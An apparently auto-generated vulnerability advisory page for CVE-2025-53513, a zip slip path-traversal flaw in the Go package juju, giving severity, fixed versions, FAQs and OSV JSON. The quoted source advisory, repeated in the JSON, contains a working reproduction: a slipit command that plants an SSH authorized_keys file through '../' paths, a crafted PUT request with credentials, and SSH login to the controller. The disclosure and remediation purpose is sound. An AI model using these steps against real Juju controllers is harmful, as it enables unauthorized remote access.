CVE-2025-53513: Github.com/juju/juju Juju Zip Slip Vulnerability Vulnerability

HIGH
Advisory Identifier: GHSA-24ch-w38v-xmh8
CVSS 8.8
CWE-24 CWE-22
Published
Advisory Summary

CVE-2025-53513 is a HIGH (CVSS 8.8) juju zip slip vulnerability vulnerability (CWE-24: Path Traversal: '../filedir') affecting Github.com/juju/juju libraries in the Go ecosystem. The issue involves juju zip slip vulnerability via authenticated endpoint. Remediation is available by upgrading affected packages to version 0.0.0-20250619215741-6356e984b82a.

CVE-2025-53513 at a Glance

CVE Identifier CVE-2025-53513
GHSA Identifier GHSA-24ch-w38v-xmh8
Severity HIGH
CVSS v3.1 Base Score 8.8
CWE Classification CWE-24: Path Traversal: '../filedir'
Affected Product Github.com/juju/juju
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 8.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2025-53513

To remediate this vulnerability, upgrade all affected Github.com/juju/juju dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/juju/juju fixed: 0.0.0-20250619215741-6356e984b82a
Upgrade github.com/juju/juju to 0.0.0-20250619215741-6356e984b82a
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/juju/juju

How to Check if You Are Affected

To determine whether your application is affected by CVE-2025-53513, inspect your project dependencies for Github.com/juju/juju:

inspect dependencies for github.com/juju/juju

Analyze the terminal output to locate any version of Github.com/juju/juju in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.0.0-20250619215741-6356e984b82a), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-24: Path Traversal: '../filedir', where the product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize "../" sequences that can resolve to a location that is outside of that directory. In Github.com/juju/juju, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Impact Any user with a Juju account on a controller can upload a charm to the /charms endpoint. No specific permissions are required - it's just sufficient for the user to exist in the controller user database. A charm which exploits the zip slip vulnerability may be used to allow such a user to get access to a machine running a unit using the affected charm. ### Details A controller exposes three charm-related HTTP API endpoints, as follows: - PUT/GET https://<controller-ip>:17070/model-<model-uuid>/charms/<nameofcharm>-<hashofcharm> - POST/GET https://<controller-ip>:17070/model-<model-uuid>/charms - GET https://<controller-ip>:17070/charms These endpoints require Basic HTTP authentication credentials and will accept any valid user within the context of the controller. A user that has no specific permission or access granted can call all of these APIs. To reproduce: ``` juju bootstrap juju add-user testuser juju change-user-password testuser ``` Download the ZIP file of an arbitrary charm eg [https://github.com/juju/hello-juju-charm](https://github.com/juju/hello-juju-charm) Download and install the following tool: [https://github.com/usdAG/slipit](https://github.com/usdAG/slipit) Run the following command to generate a new SSH key pair: `ssh-keygen` Copy the contents of the newly created public key into a file called `authorized_keys` Run the following command to inject the malicious path into the ZIP file: ``` slipit hello.zip authorized_keys --separator ../../../../../../home/ ubuntu/.ssh/ ``` Send the PUT request below to a model on the target controller. Note the following: - the model UUID and controller IP address in the request must be updated - the Juju-Curl header needs to be sent with a value that starts with the “local:” string - the PUT body content should have the exact contents of the ZIP file - the Basic Authorization header should be tied to the user that was created above - the first time that the request is sent, an error will be returned that states that the SHA hash in the URL is invalid. When this occurs, copy the value in the response and replace it in the final part of the URL (i.e. `pathtw-<updated-sha>`) - ``` PUT /model-34bb5ef0-5a3e-41d7-873c-2f884adf606d/charms/pathtw-5c9f25c HTTP/1.1 Host: 10.4.154.217:17070 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko /20100101 Firefox/135.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: none Sec-Fetch-User: ?1 Priority: u=0, i Te: trailers Connection: keep-alive Content-Length: 40021 Content-Type: application/zip Juju-Curl: local:pathtw Authorization: Basic dXNlci10ZXN0dXNlcjpwYXNzd29yZA== <ZIP BODY Content> ``` Observe that the response states that the charm has been uploaded. Attempt to SSH to the controller by using the private key that was generated above. Observe that it is possible to authenticate because the file has been overwritten. ### Code The /charms handlers are registered here https://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L897 https://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L990 And the only auth required is that the incoming request be for an authenticated user https://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L754 but no specific permission checks are done. ### Workarounds There are no known workarounds. ### References [F-02](https://drive.google.com/file/d/1pHRNiaA8LyMVJYwIyTqelsqJ9FmImDf0/view)

CVE-2025-53513 Affected Github.com/juju/juju Versions

1 component(s)
Fixed Versions:
0.0.0-20250619215741-6356e984b82a
Product / Package Ecosystem Affected Versions Fixed Version
github.com/juju/juju
Go
< 0.0.0-20250619215741-6356e984b82a
0.0.0-20250619215741-6356e984b82a

References

Frequently Asked Questions

What is CVE-2025-53513?
CVE-2025-53513 is a security vulnerability in Github.com/juju/juju involving Juju zip slip vulnerability via authenticated endpoint under CWE-24: Path Traversal: '../filedir'.
Which Github.com/juju/juju versions are affected?
Affected versions include releases prior to 0.0.0-20250619215741-6356e984b82a across affected packages: github.com/juju/juju.
What version fixes CVE-2025-53513?
Upgrading to 0.0.0-20250619215741-6356e984b82a (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/juju/juju affected?
Yes, github.com/juju/juju is affected in releases prior to 0.0.0-20250619215741-6356e984b82a. Upgrade your dependency to 0.0.0-20250619215741-6356e984b82a or later.
What is the CVSS score of CVE-2025-53513?
CVE-2025-53513 has a CVSS v3.1 base score of 8.8 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2025-53513?
CVE-2025-53513 is classified under CWE-24: Path Traversal: '../filedir' (The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize "../" sequences that can resolve to a location that is outside of that directory.).
How can I check Go dependencies for CVE-2025-53513?
Run the dependency tree command: 'inspect dependencies for github.com/juju/juju'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-24ch-w38v-xmh8",
  "modified" : "2025-08-26T20:20:46Z",
  "published" : "2025-07-09T15:29:03Z",
  "aliases" : [ "CVE-2025-53513" ],
  "summary" : "Juju zip slip vulnerability via authenticated endpoint",
  "details" : "### Impact\n\nAny user with a Juju account on a controller can upload a charm to the /charms endpoint.\nNo specific permissions are required - it's just sufficient for the user to exist in the controller user database.\nA charm which exploits the zip slip vulnerability may be used to allow such a user to get access to a machine running a unit using the affected charm.\n\n### Details\n\nA controller exposes three charm-related HTTP API endpoints, as follows:\n- PUT/GET https://<controller-ip>:17070/model-<model-uuid>/charms/<nameofcharm>-<hashofcharm>\n- POST/GET https://<controller-ip>:17070/model-<model-uuid>/charms\n- GET https://<controller-ip>:17070/charms\n\nThese endpoints require Basic HTTP authentication credentials and will accept any valid user within the context of the controller. A user that has no specific permission or access granted can call all of these APIs.\n\nTo reproduce:\n\n```\njuju bootstrap\njuju add-user testuser\njuju change-user-password testuser\n```\n\nDownload the ZIP file of an arbitrary charm eg [https://github.com/juju/hello-juju-charm](https://github.com/juju/hello-juju-charm)\n\nDownload and install the following tool: [https://github.com/usdAG/slipit](https://github.com/usdAG/slipit)\n\nRun the following command to generate a new SSH key pair: `ssh-keygen`\n\nCopy the contents of the newly created public key into a file called `authorized_keys`\n\nRun the following command to inject the malicious path into the ZIP file:\n```\nslipit hello.zip authorized_keys --separator ../../../../../../home/\nubuntu/.ssh/\n```\n\nSend the PUT request below to a model on the target controller. Note the following:\n- the model UUID and controller IP address in the request must be updated\n- the Juju-Curl header needs to be sent with a value that starts with the “local:” string\n- the PUT body content should have the exact contents of the ZIP file\n- the Basic Authorization header should be tied to the user that was created above\n- the first time that the request is sent, an error will be returned that states that the SHA hash in the URL is invalid. When this occurs, copy the value in the response and replace it in the final part of the URL (i.e. `pathtw-<updated-sha>`)\n- \n```\nPUT /model-34bb5ef0-5a3e-41d7-873c-2f884adf606d/charms/pathtw-5c9f25c\nHTTP/1.1\nHost: 10.4.154.217:17070\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko\n/20100101 Firefox/135.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nUpgrade-Insecure-Requests: 1\nSec-Fetch-Dest: document\nSec-Fetch-Mode: navigate\nSec-Fetch-Site: none\nSec-Fetch-User: ?1\nPriority: u=0, i\nTe: trailers\nConnection: keep-alive\nContent-Length: 40021\nContent-Type: application/zip\nJuju-Curl: local:pathtw\nAuthorization: Basic dXNlci10ZXN0dXNlcjpwYXNzd29yZA==\n<ZIP BODY Content>\n```\n\nObserve that the response states that the charm has been uploaded.\n\nAttempt to SSH to the controller by using the private key that was generated above.\n\nObserve that it is possible to authenticate because the file has been overwritten.\n\n### Code\n\nThe /charms handlers are registered here\nhttps://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L897\nhttps://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L990\n\nAnd the only auth required is that the incoming request be for an authenticated user\n\nhttps://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L754\n\nbut no specific permission checks are done.\n\n### Workarounds\nThere are no known workarounds.\n\n### References\n[F-02](https://drive.google.com/file/d/1pHRNiaA8LyMVJYwIyTqelsqJ9FmImDf0/view)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/juju/juju"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.0.0-20250619215741-6356e984b82a"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/juju/juju/security/advisories/GHSA-24ch-w38v-xmh8"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-53513"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/juju/juju/commit/6356e984b82a4a7b9771ff5e51e297ad62f3b405"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/juju/juju/commit/ff39557a137c0e95d4cd3553b0f19c859c6f5d8e"
  }, {
    "type" : "WEB",
    "url" : "https://drive.google.com/file/d/1pHRNiaA8LyMVJYwIyTqelsqJ9FmImDf0/view"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/juju/juju"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L754"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L897"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L990"
  }, {
    "type" : "WEB",
    "url" : "https://pkg.go.dev/vuln/GO-2025-3804"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22", "CWE-24" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-07-09T15:29:03Z",
    "nvd_published_at" : "2025-07-08T17:16:04Z"
  }
}